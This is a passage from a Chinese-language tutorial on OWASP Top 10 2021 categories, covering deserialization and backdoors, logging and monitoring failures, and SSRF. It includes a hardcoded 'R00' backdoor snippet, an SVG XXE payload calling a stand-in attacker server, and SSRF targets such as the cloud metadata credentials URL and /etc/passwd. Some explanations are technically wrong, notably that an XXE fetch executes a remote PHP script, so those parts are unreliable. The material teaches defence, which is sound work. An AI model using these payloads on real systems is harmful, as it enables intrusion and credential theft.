服务器接收与处理：服务器接收到请求后，按照正常流程尝试反序列化请求体中的数据，以处理投票逻辑。然而，由于恶意序列化数据包实际上是一个EvilVoteAction实例，当反序列化过程执行到这个对象的构造函数时，会触发预设的恶意代码，导致服务器执行删除重要数据的命令。

防御措施

输入验证：服务器端在反序列化之前应该对输入数据进行严格的验证，包括数据格式、长度限制、以及数据内容的合理性校验。
安全的序列化替代方案：考虑使用更安全的序列化协议，如protobuf，避免使用易受攻击的Java原生序列化。
限制可反序列化的类：实现白名单机制，仅允许特定已知安全的类进行反序列化。
API安全措施：加强API端点的安全控制，比如使用API密钥、令牌验证以及速率限制，减少被滥用的机会。

通过这个例子，可以看出攻击者是如何利用不安全的序列化机制来实施攻击的，同时也强调了实施一系列安全措施的重要性。

正常情况下的sessionSignature

在软件开发中，特别是涉及到序列化和反序列化的场景，sessionSignature这样的字段通常用于标识或验证数据的来源及合法性。当提到将sessionSignature字段设置为一个特定值“R00”来触发应用程序中的特定条件，这是指利用了程序中对这一特定值的特殊处理逻辑，这种处理可能超越了常规的业务逻辑，且如果未被正确和安全地设计，就可能成为安全漏洞的入口点。

具体来说，“R00”作为一个特定对象签名，在这个上下文中扮演的角色类似于一个暗号或者密令。正常情况下，sessionSignature的值应该是随机生成的，用于唯一标识一个用户会话。但是，如果应用程序的开发人员在代码中加入了针对某些特定值的处理逻辑，比如“R00”，这可能是为了实现某种内部功能、调试目的或者是遗留代码的一部分。

例如，假设开发者为了快速测试或调试，在代码中加入了如下的逻辑：

if (sessionSignature.equals("R00")) {
    // 执行特殊操作，比如绕过权限检查、执行管理命令等
}

如果这段代码没有被恰当地限制在测试环境或没有充分的安全检查，当攻击者了解到这一机制后，他们就可以通过修改序列化数据中的sessionSignature字段为“R00”，来触发上述特殊逻辑。这可能导致未经授权的访问、数据泄露或执行恶意命令等一系列安全事件。

因此，将“R00”设置为sessionSignature的特定值，并以此触发应用程序中的特定条件，实际上是一种利用软件内部逻辑缺陷进行攻击的方式。这强调了在开发过程中需要严格控制和审查对特定输入的处理逻辑，确保不会无意中引入安全漏洞。

特定处理逻辑的例子：“R00”

现在假设开发团队在某个阶段为了方便内部测试或调试，决定加入一个后门逻辑，即当sessionSignature等于特定字符串“R00”时，系统会给予特殊权限，比如直接进入管理员模式，无需真正的身份验证。这可能是为了快速测试某些功能而设置的临时方案，但未在最终产品中移除或限制其作用域。代码可能看起来像这样：

if (sessionSignature.equals("R00")) {
    // 绕过所有权限检查，赋予超级用户权限
    currentUser.setRole(Role.ADMINISTRATOR);
} else {
    // 正常流程，验证用户身份
    validateUser(sessionSignature);
}

风险与后果

安全漏洞：如果这个逻辑被外部知晓，攻击者只需将他们的sessionSignature设为“R00”，就能轻易绕过安全检查，获得管理员权限，从而能进行数据篡改、盗取敏感信息等操作。
信任危机：一旦此类后门被曝光，会严重损害用户对应用的信任，影响品牌形象。
合规性问题：许多行业标准和法规要求严格的数据保护措施，此类后门的存在可能违反这些规定，导致法律风险。

正确做法

避免硬编码特殊处理：任何对特定输入的特殊处理都应经过严格审查，并且有明确的业务需求。
测试与生产环境分离：仅在测试环境中使用这类便捷手段，并确保在发布前彻底移除或严格限制其作用域。
安全性审计：定期进行代码审查和安全审计，确保没有未经批准的后门存在。
最小权限原则：即使在测试环境下，也应遵循最小权限原则，避免赋予不必要的高权限。

通过这个例子，我们可以清晰地看到为什么在实际应用中不应该随意加入针对特定值的处理逻辑，尤其是在涉及到用户认证和权限控制的关键环节。

情境 2：未签署之更新

解释：软件更新的完整性和真实性验证通常依赖于数字签名机制，以确保更新包来源于可信的发布者，并且在传输过程中未被篡改。家用路由器、机顶盒等设备的韧体更新若未经签名验证，就给攻击者留下了可乘之机。他们可以伪造更新包，植入恶意代码，当用户安装这些“更新”时，实际上是在引入后门、木马或其他恶意软件，严重威胁设备安全和用户隐私。

让我们通过一个具体的例子来说明这一过程，以家用路由器为例：

背景设定

假设你有一款家用路由器，该路由器厂商偶尔会发布固件更新，以修复安全漏洞、增加新功能或优化性能。正常情况下，这个过程应该是安全的，因为固件更新包会在发布前由厂商使用私钥进行数字签名，而路由器的固件升级机制会验证这个签名，确认更新包确实来自于可信的源头，并且在传输过程中没有被篡改。

攻击场景

缺乏签名验证的漏洞：但是，如果这款路由器的固件更新机制存在一个设计缺陷，即在安装更新前没有正确验证固件包的数字签名，这就给攻击者留下了一个可乘之机。
伪造更新包：攻击者可以制作一个看似合法的固件更新包，里面却包含了恶意代码。他们不需要知道厂商的私钥，因为路由器不会检查签名的有效性。这个恶意固件可能包含后门，能让攻击者远程控制你的路由器，或者包含数据嗅探软件，用于窃取你家庭网络中的敏感信息，如银行账户、密码和个人通信。
诱导用户安装：攻击者通过多种手段诱导用户安装这个伪造的更新包，比如通过钓鱼邮件、恶意广告或伪装成官方通知的弹窗，告诉用户有重要更新可用，引导用户手动下载并安装。
安装恶意固件：一旦用户上当，按照指示下载并安装了这个假的更新，恶意代码就会在路由器上被激活。这可能包括开启后门，使得攻击者可以随时访问路由器，监控网络流量，或者将路由器变成僵尸网络的一部分，参与发起DDoS攻击。

后果

个人隐私泄露：攻击者可以监视并通过路由器拦截所有进出家庭网络的通信，窃取包括但不限于银行信息、社交媒体账号、私人邮件等敏感数据。
设备被控制：路由器被控制后，攻击者可以操纵网络流量，重定向用户访问的网站到恶意站点，进一步传播恶意软件。
参与非法活动：路由器可能被征用参与大规模的网络攻击，如DDoS攻击，而用户对此毫不知情。

预防措施

增强验证机制：厂商应确保固件更新过程包含严格的安全措施，如实施数字签名验证，确保固件来源可信。
用户教育：教育用户只通过官方渠道获取和安装更新，警惕非官方的更新通知。
自动更新：鼓励或默认开启自动更新功能，减少用户手动操作带来的风险。
安全意识：提高用户对于网络钓鱼和社交工程攻击的警惕性，不轻易点击不明链接或下载来源不明的文件。

情境 3：SolarWinds 恶意更新

解释：SolarWinds事件是一次高级持续性威胁（APT）攻击的典型例子，展示了即使是拥有严格安全控制的大型软件供应商也可能会遭受入侵。攻击者渗透了SolarWinds的开发环境，篡改了Orion平台的软件更新，将恶意代码嵌入到了合法的更新包中。由于SolarWinds的客户群广泛，包括政府机构和大型企业，这次攻击成功地将恶意软件部署到了成千上万个组织中，展示了供应链攻击的威力。这不仅损害了受影响组织的系统安全，还严重动摇了全球对软件供应链信任的基础。
SolarWinds事件是2020年底曝光的一起高度复杂的网络安全事件，它是高级持续性威胁（APT）攻击的典型实例。APT攻击通常由国家背景的黑客组织执行，其特点是目标明确、潜伏时间长、手段隐蔽且目的性强。

攻击概览

SolarWinds是一家知名的美国信息技术公司，其Orion软件是一款广泛使用的网络监控和管理平台，服务于众多政府机构、军事部门、大型企业和关键基础设施运营商。攻击者正是瞄准了这一点，实施了一次精心策划的供应链攻击。

攻击流程

渗透开发环境：攻击者首先找到了进入SolarWinds内部系统的方法，可能是通过钓鱼邮件、未修补的漏洞或其他社会工程学手段。一旦进入，他们便在SolarWinds的开发环境中潜伏下来，进行长期的侦察和准备。
篡改软件更新：在深入理解了SolarWinds的软件开发流程后，攻击者选择在Orion平台的一个常规软件更新中植入恶意代码。这种恶意软件后来被称为“Sunburst”（太阳爆发）。由于该更新被视为合法，它顺利通过了SolarWinds的质量检查流程，并被签名发布。
传播恶意软件：当数千家依赖Orion平台的客户安装了这个包含恶意代码的更新后，恶意软件随之部署到了这些组织的系统内。Sunburst具有高度隐蔽性，能够悄悄收集敏感信息，并为攻击者进一步渗透打开门户。
目标筛选与深度入侵：虽然许多安装了受感染更新的组织受到了影响，但攻击者似乎特别针对了一些高价值目标，如美国政府机构和其他国家的关键基础设施，进行更深层次的数据窃取和监视活动。

影响与后果

信任危机：SolarWinds事件暴露出软件供应链安全的重大漏洞，使得全球对软件更新的信任度大打折扣，尤其是对于那些依赖第三方供应商的企业和机构。
广泛影响：由于SolarWinds的客户基础广泛，这次攻击的影响深远，不仅对直接受害者的系统安全造成损害，还引发了对整个行业供应链安全实践的质疑和反思。
加强监管与审查：事件之后，各国政府和企业开始重新评估并加强其网络安全策略，特别是对供应链安全的监管和第三方软件的审查流程。

综上所述，SolarWinds事件是一个警示，表明即使是最有经验和资源的组织也可能成为APT攻击的目标。它强调了在数字化时代，供应链安全的重要性以及需要不断强化的防御措施。

总结

这些案例共同强调了确保软件和数据完整性的重要性。防范此类攻击的关键措施包括但不限于：实施严格的输入验证和输出编码、采用数字签名验证软件更新的完整性、加强开发环境的安全监控和隔离、以及实施多层次的安全防御体系，包括网络分段、权限最小化原则和持续的安全审计。

A09:2021 – 安全记录和监控失效

情境 1 安全监控和记录失效问题解析

一家儿童健康计划供应商的网站运营商因缺乏监控和记录无法侦测资安事件。外部通知该健康计划供应商，攻击者已存取及修改超过 350 万名儿童的敏感健康记录。事后审查发现网站开发者没有处理重大弱点。由于系统没有记录或监控，资料泄漏可能从 2013 年开始至今，时间超过七年。

记录机制的作用与缺失的影响

追溯分析：记录机制负责详细记录系统和网络活动的历史数据，包括登录日志、系统变更记录、网络流量日志等。这些记录是事后的“录像带”，对于分析安全事件的起源、发展过程以及影响范围至关重要。
合规与审计：记录也是满足各种法规和行业标准要求的基础，如需证明数据处理的合规性或在发生安全事件后进行审计，详尽的记录是必不可少的。
缺失导致的后果：缺少详细的记录，意味着在发生安全事件后，组织难以追溯事件的完整过程，无法准确评估损失、找出漏洞所在，更无法有效地采取措施防止未来类似事件的发生。这对于事件响应、责任归属判定、以及学习和改善安全措施等方面都是致命的。

因此，监控和记录机制的缺失，使得组织无法及时捕捉到安全漏洞和异常活动，错失了最佳的响应时机，极大地增加了安全风险，使得数据泄露等安全事件得以持续且难以被有效控制。

问题核心：监控与记录机制的缺失导致安全事件长期未被发现。儿童健康计划供应商的网站缺乏有效的监控系统来检测异常活动，也没有完善的记录机制来追踪数据访问历史。这种情况下，即使攻击者长时间存取并修改了大量敏感数据，系统也无法自我察觉。

监控失效：网站运营商没有部署或维护适当的安全监控系统，这意味着对网络异常、非法访问或数据泄露等安全事件缺乏即时警觉。
记录缺失：缺乏详细的安全事件日志和审计记录，使得即使发生数据泄露，也无法追溯何时开始、哪些数据被访问或修改，以及攻击者的行为模式。
长期未发现的漏洞：开发者忽视或未及时修复已知的安全弱点，增加了系统被利用的风险。
后果：长达七年的数据泄露，暴露了350多万儿童的敏感健康信息，严重侵害了个人隐私，且由于缺乏及时发现，增加了数据被滥用的可能性。

情境 2 安全监控和记录失效问题解析

印度一家大型航空公司发生涉及数百万乘客超过十年包括护照及信用卡资料等个人资料的资料泄漏。资料泄漏发生在第三方供应商提供的云端服务，该供应商在资料泄漏发生一段时间后通知航空公司。

问题核心：第三方供应链管理不严，导致云端服务中的数据泄露未被及时发现和处理。
这个案例揭示了在云计算环境中，由于安全监控与记录机制的不足，导致大规模数据泄露的严重后果，具体分析如下：

安全监控漏洞

监控覆盖不全：印度大型航空公司在使用第三方云服务存储乘客个人信息时，未能确保有足够的安全监控措施覆盖整个数据生命周期。有效的监控应当能够实时或定期检测到数据访问异常、潜在的数据外泄迹象以及任何不寻常的数据活动模式。监控的缺失意味着即使数据遭到非法访问或窃取，也无法及时察觉并采取措施阻止。
缺乏即时警报系统：一个健全的安全监控系统应当具备即时警报功能，能够在检测到潜在威胁时立即通知安全团队。案例中，直至数据泄露发生一段时间后才由供应商通知航空公司，表明缺乏即时响应机制，延长了数据暴露在外的时间，加大了损害的程度。

记录机制漏洞

审计记录不足：没有完整的审计日志或活动记录，使得在发生数据泄露后，难以追溯事件的起因、时间、以及泄露的具体内容。审计记录对于识别数据泄露的源头、评估影响范围以及事后分析攻击路径至关重要。
供应链安全透明度低：航空公司对第三方云服务商的安全管理、监控及记录保持情况缺乏足够的了解和监督。在云服务外包的情况下，供应商的安全水平直接影响到最终用户数据的安全，而案例中供应商延迟通知，反映出供应链管理中的信息共享和透明度问题。

后果与教训

数据安全与隐私受损：数百万乘客的个人敏感信息，包括护照和信用卡资料泄露，不仅严重侵犯了个人隐私，还可能引发身份盗用、金融诈骗等严重后果。
信任危机：对航空公司的品牌形象和客户信任造成极大损害，影响其业务和未来合作。
合规风险：可能面临监管机构的调查和处罚，以及相应的法律诉讼和赔偿责任。
供应链管理反思：强调了对第三方服务提供商进行严格的安全审计、监控和合规要求的重要性，以及建立快速响应机制的必要性。

综上，该案例提醒所有依赖云服务的企业，必须强化供应链安全管理，确保数据存储、处理和传输的每一步都有严格的安全监控和记录，以快速识别并响应安全威胁，保护用户数据安全。

情境 3 安全监控和记录失效问题解析

一家大型欧洲航空公司发生依 GDPR （根据欧盟的《通用数据保护条例》(GDPR)，企业必须保护个人数据的安全，并在发生数据泄露等个人数据保护事故时及时报告给监管机构。）应报告事故。据报导，攻击者利用支付应用系统之安全漏洞，取得超过 40 万笔客户支付纪录。该航空公司遭隐私主管机关裁罚两千万英镑。

问题核心：支付应用系统的安全防护不足，以及对GDPR合规要求的忽视。
该案例涉及一家大型欧洲航空公司在数据保护方面的安全监控与记录漏洞，具体体现在以下几个方面：

安全监控漏洞

未及时发现安全漏洞：航空公司未能通过安全监控系统及时识别和修补支付应用系统中的安全漏洞。有效的安全监控应包括定期的漏洞扫描、入侵检测系统以及对异常行为的实时监测，以确保能够快速响应潜在威胁。然而，在此案例中，直到攻击发生并造成实际损失后，漏洞才被注意到。
缺乏实时威胁响应：安全事件响应机制不够高效，未能在攻击发生初期及时发现并遏制，这可能是由于监控系统未能及时触发警报或响应流程不畅所致。快速响应是减小数据泄露影响的关键，而该航空公司显然在这方面有所缺失。

记录与合规漏洞

记录不充分：GDPR要求数据控制者必须保持详细的记录，包括处理个人数据的活动日志、安全事件日志以及合规性审计记录。在这起事件中，可能由于记录不全，导致无法准确追踪数据泄露的源头、时间及范围，影响了事后的调查与补救措施。
未按规定报告：GDPR规定，一旦发生可能影响个人数据安全的事件，数据控制者需在72小时内向监管机构报告，除非能证明泄露风险不大。该航空公司未能及时报告个资事故，违反了GDPR的报告义务，这也是其遭到重罚的原因之一。

后果与教训

巨额罚款：隐私主管机关的裁罚高达两千万英镑，这不仅是对航空公司经济上的惩罚，也是对所有GDPR管辖范围内企业的警告，强调了合规的重要性。
信任危机：泄露超过40万笔客户支付记录，严重损害了客户信任，影响品牌形象，可能导致客户流失和长期的业务影响。
合规性加强：此事件迫使公司重新审视其数据保护政策和流程，加强安全监控、记录保持和事件响应机制，确保符合GDPR及其他相关法规要求。

总之，这起事件凸显了在处理敏感个人数据时，安全监控、事件记录和合规报告的重要性，以及未能妥善管理这些环节可能带来的严重后果。

A10:2021 – 服务器端请求伪造(SSRF)

SSRF（服务器端请求伪造，Server-Side Request Forgery）是一种安全漏洞，它允许攻击者通过利用存在漏洞的Web应用来欺骗服务器端发起请求。这意味着攻击者可以迫使服务器去访问一个他们选择的任意URL，而这通常包括内网资源，这些资源从外网直接访问是不可能或受限的。下面通过一个简化示例来说明SSRF如何帮助访问内网：

示例场景：

假设有一个网站A，提供了一个功能，允许用户提交一个URL，网站A的服务器会去访问这个URL并显示返回的内容，作为“网页预览”功能。这个功能本意是为了方便用户，但实际上存在SSRF漏洞。

步骤分解：

外网用户攻击：攻击者注意到这个功能后，尝试提交一个指向内网地址的URL，比如 http://192.168.1.10/admin，而不是一个公共互联网地址。
服务器代为请求：网站A的服务器接收到这个请求后，由于功能设计缺陷，没有正确验证URL的有效性或来源，便直接尝试访问这个内网地址。
内网访问权限：网站A的服务器位于公司内网，因此有权访问其他内网资源。当它尝试访问攻击者提供的内网URL时，它实际上是在利用其内网权限发起请求。
信息泄露或进一步攻击：如果内网中的服务（如上述的 http://192.168.1.10/admin）存在安全漏洞或者配置不当，攻击者可能能够通过这个途径获取敏感信息，执行未授权操作，甚至进一步渗透内网。

SSRF危害总结：

内网探测：攻击者可以利用SSRF漏洞枚举内网中的服务和设备。
服务利用：如发现存在漏洞的服务，如未授权的API、旧版Web应用等，可进一步攻击。
数据泄露：访问内部数据库或文件系统，窃取敏感数据。
命令执行：在特定条件下，如结合其他漏洞（如Redis未授权访问），可实现远程代码执行。

通过上述例子，我们可以看到SSRF漏洞之所以能访问内网，是因为它利用了信任边界内的服务器作为跳板，绕过了直接从外网访问内网的限制，从而达到攻击内网系统的目的。以下是几个攻击情境的详细解释：

情境一：对内部服务器端口扫描

当网络架构没有适当隔离时，攻击者可以利用SSRF（服务器端请求伪造）漏洞或其他方式，向内部服务器发起大量的端口连接请求。通过分析这些请求的响应时间、错误代码或连接状态，攻击者能够推断哪些端口是开放的，哪些是关闭的。例如，一个快速的拒绝响应可能意味着端口关闭或受到防火墙保护，而较长的响应时间或特定的HTTP状态码可能表明服务正在运行。这样，攻击者就能绘制出内网服务的地图，为后续攻击选定目标。

当攻击者想要了解内部网络的结构和安全性状况时，他们可能会尝试使用SSRF（服务器端请求伪造）漏洞来进行端口扫描。下面是一个具体例子来说明这一过程：

示例场景：

假设攻击者发现了一个网站B，该网站存在SSRF漏洞，允许提交任意URL让服务器去访问。网站B的服务器位于公司内网，且与内部其他服务器相连接。

实施端口扫描的步骤：

构造请求：攻击者首先构造一系列携带不同端口号的请求URL，目标是内网中的某台服务器IP，比如 http://192.168.1.20:1-1000（这里简化表示，实际中需要逐一尝试每个端口）。
发送通过SSRF漏洞：通过网站B的漏洞，攻击者提交这些精心构造的URL。每次提交尝试访问内网服务器的不同端口。
分析响应：
- 时间延迟：对于开放的端口，服务器可能会有特定的响应时间，而关闭的端口则可能导致更快的错误响应。攻击者可以通过分析这些时间差来推测端口状态。
- 连接状态：如果服务器对某些端口的请求返回了特定的TCP响应（如RST表示端口关闭，SYN-ACK表示端口开放但未完成三次握手，无响应可能意味着防火墙阻断或端口未监听），攻击者可以根据这些响应判断端口状态。
- HTTP状态码：对于Web服务，HTTP 200可能意味着服务运行正常，而如404或无响应可能对应不同的情况。
汇总信息：通过大量尝试和分析，攻击者能够逐渐构建出目标内网服务器的端口开放情况图谱，识别出哪些服务（如HTTP、SSH、数据库服务等）在哪些端口上运行。

结果影响：

信息泄露风险：知道了哪些服务及其端口开放，攻击者可以针对性地寻找这些服务的已知漏洞进行下一步攻击。
内网渗透：开放的管理接口、未授权的服务访问等都可能成为攻击者进入内网的入口。
安全策略评估：暴露的服务也可能反映了内部安全策略的不足，比如缺乏必要的访问控制和防火墙规则。

综上所述，即使网络架构未被明确分割，攻击者仍能通过SSRF漏洞进行端口扫描，进而为后续的攻击行动奠定基础。这强调了保护内部网络免受SSRF攻击的重要性，包括加强输入验证、实施严格的网络分段策略和定期审计网络服务的安全配置。

情境二：机密数据泄露

在某些情况下，SSRF漏洞可能允许攻击者不仅访问内部网络的服务器，还可以通过精心构造的请求访问本地文件系统或内部服务中存储的敏感数据。例如，如果Web应用存在漏洞允许URL参数直接读取文件，攻击者可能会尝试访问如 /etc/passwd（在Linux系统中包含用户账户信息）或内部数据库的配置文件等。通过这种方式，攻击者能够非法获取用户名、密码、密钥或业务敏感信息，造成严重的信息泄露。

假设有一个Web应用，其功能之一是帮助用户检查某个网页是否可访问。为了实现这一功能，应用会接收用户输入的URL作为参数，然后在服务器端发起请求去访问这个URL，并将请求结果展示给用户。这看起来是一个便捷的功能，但如果没有恰当的安全控制，就可能引入SSRF漏洞。

漏洞利用示例：

目标识别：攻击者首先了解到该Web应用存在这样的功能，意识到可能存在SSRF漏洞。
内部资源猜测与访问：攻击者不是输入一个外部网站的URL，而是尝试构造一个指向内部资源的URL，比如 http://localhost/etc/passwd 或 http://127.0.0.1/mysql_config.conf。这里的目的是让服务器端的应用代为访问本地文件系统或内部服务的配置文件。
绕过限制：由于Web应用可能对直接访问文件系统的请求有所限制，攻击者可能需要利用各种技巧来绕过这些限制，比如使用编码、路径遍历技巧等。
信息泄露：如果服务器端的应用没有正确验证和过滤用户输入的URL，它可能会执行这个恶意请求，尝试访问本地文件或内部服务。当包含敏感信息的文件内容被返回并展示在Web页面上时，攻击者就成功地获取到了这些数据，比如用户名、密码散列值、数据库凭据或其他敏感配置信息。

后果：

数据泄露：企业内部的敏感信息外泄，包括但不限于用户数据、系统配置、加密密钥等。
进一步攻击：获取到的凭证可能帮助攻击者进一步渗透企业内网，实施更深层次的攻击。
信誉损失：数据泄露可能导致公司面临法律诉讼、客户信任度下降等问题。

为了防范此类攻击，开发人员应确保对所有用户提供的URL进行严格的验证与过滤，阻止对内部资源的非法访问，并实施网络分段和最小权限原则，减少潜在损害。

情境三：访问云服务的元数据存储

云服务提供商通常会为运行中的实例提供一个元数据服务，用于存储实例的身份认证信息、配置详情和其他管理数据。这个服务通常可以通过一个固定的内部IP地址访问，如HTTP://169.254.169.254/。攻击者如果能利用SSRF漏洞访问这个地址，就可以读取到云实例的访问密钥、安全令牌等敏感信息，进而控制云资源，创建或删除服务，甚至产生额外的费用。这种攻击展示了云环境特有的安全挑战。

元数据服务就像是一个详细的个人信息小秘书，专门负责收集并提供关于你的所有重要细节。想象你入住一家高度智能化的酒店，这家酒店的“元数据服务”系统能够自动根据你的偏好和需求来优化你的住宿体验。下面是一个具体的例子来说明这一点：

元数据服务例子：

张伟预订了一家智慧酒店的房间。这家酒店使用先进的元数据服务系统来个性化每位客人的住宿体验。

入住前：张伟在预订时填写了个人偏好问卷，包括他偏好的房间温度（22°C）、喜欢的咖啡种类（拿铁）、希望的叫醒时间（早上7点）等信息。这些信息被酒店的元数据服务系统记录下来。
入住时：张伟到达酒店，使用手机自助入住，无需前台办理。他的房间号、入住日期、预订套餐等基本信息，以及之前提供的偏好都被元数据服务整合在一起，形成一份专属的住宿档案。
房间自适应：进入房间后，房间内的智能温控系统自动将温度调节至22°C，智能音箱在欢迎信息中告知已根据他的偏好设定好早晨7点的叫醒服务，并询问是否需要立即播放轻柔的背景音乐来帮助放松。
个性化服务：第二天早上，张伟在房间内的智能屏幕上选择早餐菜单，系统根据他的历史订单记录和偏好推荐了含有拿铁咖啡的早餐组合，并自动通知厨房准备。
离店结算：退房时，元数据服务自动汇总张伟在酒店内使用的所有服务和消费明细，包括迷你吧消费、额外的洗衣服务等，直接生成账单并通过电子邮件发送给他，简化了结账流程。

在这个例子中，元数据服务就像是酒店的神经系统，收集、整理并应用关于张伟的各种信息，确保他得到个性化的服务体验，同时也提升了酒店运营的效率和客户满意度。这种智能化的服务模式，体现了元数据服务在理解和响应个体需求方面的能力。
让我们通过一个具体的例子来说明这个过程，以便更直观地理解这一概念。

场景背景

假设有家公司叫“智慧云联”，它使用某大型云服务提供商来托管其业务应用程序。智慧云联的一个关键应用运行在一个云服务器实例上，这个实例负责处理客户订单、管理数据库访问等核心功能。云服务提供商为这个实例提供了元数据服务，用来存储必要的配置信息和安全凭证，比如AWS访问密钥ID和秘密访问密钥，这些是应用程序连接到其他AWS服务（如S3存储桶或DynamoDB数据库）所必需的。

元数据服务访问

智慧云联的应用程序在初始化时，通常需要从元数据服务获取这些凭据。按照云服务商的设计，应用可以直接向内部IP地址HTTP://169.254.169.254/发起请求，获取到当前实例的认证信息和配置详情。这是一个标准且方便的机制，旨在简化云上应用的部署和管理。

攻击过程

发现漏洞：一名攻击者通过网络扫描或社交工程学手段，发现了智慧云联应用中存在的SSRF漏洞。
构造请求：利用该漏洞，攻击者向应用程序发送一个请求，请求中包含了指向内部元数据服务的URL（HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/默认角色）。
获取凭证：由于SSRF漏洞，服务器错误地执行了这个请求，并将包含AWS访问密钥ID和秘密访问密钥的响应数据返回给了攻击者。
控制云资源：利用窃取的凭证，攻击者可以在智慧云联的AWS账户下自由行动，比如创建新的高权限用户、启动大量昂贵的EC2实例、下载或篡改S3存储桶中的数据，甚至部署恶意软件，导致智慧云联遭受经济损失和品牌声誉损害。

安全挑战与对策

这个案例展示了云环境中的独特安全挑战，特别是如何防止对内部元数据服务的非法访问。为了应对这一挑战：

增强输入验证：应用程序开发时应严格验证和过滤所有外部输入，避免SSRF攻击。
使用API网关和防火墙规则：配置网络策略，阻止对外部源的非预期请求访问内部元数据服务。
定期安全审计：定期进行安全检查和渗透测试，及时发现并修复潜在的安全漏洞。
最小权限原则：为云服务分配最小必要权限的访问密钥，即使凭证泄露，也能限制损害程度。
监控与警报：实施实时监控和警报系统，对异常访问模式迅速响应。

通过上述措施，企业可以显著降低因SSRF漏洞导致的元数据服务被非法访问的风险，保护其云资源的安全。

情境四：渗透内部服务

一旦攻击者通过SSRF获得了对内部服务的初步访问权，他们可能会尝试进一步的攻击，如远程代码执行(RCE)或分布式拒绝服务攻击(DDoS)。RCE允许攻击者在目标服务器上执行任意命令，完全控制服务器；而利用内部服务进行DoS攻击，则可能通过消耗资源或利用未授权访问权限，瘫痪关键系统或服务，导致业务中断。这些深层次的攻击往往基于最初的SSRF漏洞利用，凸显了保护应用免受SSRF侵害的重要性。
让我们通过一个虚构但具体的情境来解释这一过程：

场景设定

设想有一家名为“安全先锋”的科技公司，它运营着一个在线文件共享平台，该平台允许用户上传文档，并为文档生成预览图。该平台使用云服务，并且内部部署了一个图片转换服务，该服务通过内部API（不可从公网直接访问）接收文件路径，将其转换成缩略图。不幸的是，平台在处理用户上传的文件URL时存在一个SSRF漏洞。

上传URL和上传文件内容

当平台处理用户上传的文件URL时，通常涉及以下几个步骤：

接收上传请求：用户通过平台的前端界面或API上传文件时，会向服务器发送一个请求，这个请求中包含了文件的具体信息，比如文件名、类型以及实际的数据内容或者一个指向该文件的URL（如果支持链接上传的话）。
验证与过滤：服务器首先会对上传的请求进行验证，检查是否来自已登录的用户、文件类型是否符合规定（例如，只接受特定格式如PDF、DOCX、JPEG等）、文件大小是否超过限制等。此外，还会进行基本的安全过滤，检查文件名或内容中是否有恶意代码或非法字符。
存储处理：验证通过后，如果用户上传的是文件的实际内容，平台会将其保存到云存储服务上；如果是URL，平台则会通过这个URL获取文件内容。在这个过程中，如果平台设计不当，就可能暴露SSRF漏洞，即服务器直接根据用户提供的URL去访问资源，而没有充分验证这个URL是否安全。
生成预览或缩略图：对于文档或图片，平台可能会进一步处理这些文件来生成预览图或缩略图，以便用户在不下载原始文件的情况下查看内容。这通常涉及到调用内部的服务或第三方API，如之前提到的图片转换服务。
提供访问：完成上述步骤后，平台会为用户提供一个链接，让用户可以通过网页或应用内界面访问上传的文件及预览图。

在“安全先锋”的案例中，问题出在平台没有正确验证用户提交的URL，导致攻击者能够通过精心构造的URL利用SSRF漏洞，进而访问内部服务，最终利用RCE漏洞完全控制服务器。正确的做法是实施严格的验证机制和访问控制，确保只有合法且安全的请求被处理。

初始SSRF攻击

攻击者“暗影猎手”发现了这个SSRF漏洞，他可以构造一个特殊的请求，让“安全先锋”的服务器去访问其内部图片转换服务的URL，该URL本应只接受来自平台内部的请求。由于缺乏适当的验证，服务器执行了这个请求，暗影猎手因此获得了对内部服务的初步访问。

进一步攻击：远程代码执行 (RCE)

让我们详细分解这个例子，了解攻击者是如何通过发现漏洞、构造恶意文件并最终执行任意命令来控制服务器的。

1. 发现漏洞点

背景：“安全先锋”公司运行的在线文件共享平台包含一个图片转换服务，用于处理用户上传的图片，将其转换为适合预览的格式。该服务通过API与服务器通信，接受图片路径作为参数，然后在服务器端进行转换。

分析过程：

暗影猎手首先对这个图片转换服务的API接口进行了细致的分析，可能通过阅读公开文档、逆向工程或直接利用API测试工具。
在分析过程中，他注意到服务对于不同图片格式的处理逻辑存在差异。特别是，当处理可包含XML结构的图片格式，如SVG（可缩放矢量图形）文件时，服务没有正确配置XML解析器的安全设置。
特别危险的一点是，服务在解析SVG文件中的XML时，没有禁用对外部实体的加载。外部实体是XML文档中的一种特性，允许文档引用外部资源。如果配置不当，这可以被滥用来执行攻击者控制的远程代码。

2. 构造恶意文件

恶意SVG文件构造：

暗影猎手利用发现的漏洞，构造了一个特别的SVG文件。在这个文件中，他嵌入了一个外部实体声明，该声明指向一个由他控制的远程服务器上的恶意脚本。

例如，他在SVG文件中加入以下代码片段：

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY evilCmd SYSTEM "http://攻击者服务器地址/malicious_script.php">
]>
<svg width="100" height="100">
  <!-- 正常SVG内容 -->
</svg>

当图片转换服务尝试解析这个SVG文件时，它会根据外部实体声明去访问并执行“恶意_script.php”这个位于攻击者服务器上的脚本。

3. 执行任意命令

攻击链：

“恶意_script.php”包含一系列精心设计的指令，旨在利用图片转换服务所在服务器的操作系统环境。
一旦服务器访问并执行了这个远程脚本，脚本可能会：
- 利用操作系统命令注入，执行任意命令（如下载恶意软件、开启后门、窃取系统信息等）。
- 通过进一步的漏洞利用，提升权限至系统管理员级别，从而完全控制服务器。
通过这个步骤，暗影猎手不仅证明了他可以执行任意命令，还实际地掌控了“安全先锋”的服务器，为其后续的恶意活动（如数据盗窃、部署僵尸网络节点、发起进一步攻击等）铺平了道路。

总结：这个例子展示了攻击者如何通过识别并利用一个RCE漏洞，一步步实现对目标服务器的全面控制。它强调了在处理用户提供的内容时，特别是涉及文件解析的场景，正确配置安全设置和实施严格的输入验证是多么重要。

分布式拒绝服务攻击 (DDoS) 利用内部服务

这个例子详细描述了在网络安全背景下，一种通过利用特定漏洞（Server-Side Request Forgery, SSRF）进行的攻击策略，以及这种攻击如何影响系统服务的稳定性和性能。下面是对这个场景的进一步阐述和简化实例：

背景介绍：
假设有一个名为“FileSharePlus”的在线文件共享平台，它允许用户上传、存储和分享各种类型的文件，包括图片。为了提升用户体验，该平台内置了一个图片转换服务，可以自动将上传的图片转换为适合网页浏览的格式和大小。暗影猎手是一位安全研究员（或恶意攻击者），他在对FileSharePlus进行渗透测试时发现了两个问题：一是远程代码执行（RCE）漏洞，二是图片转换服务的性能弱点。

发现与利用SSRF漏洞：
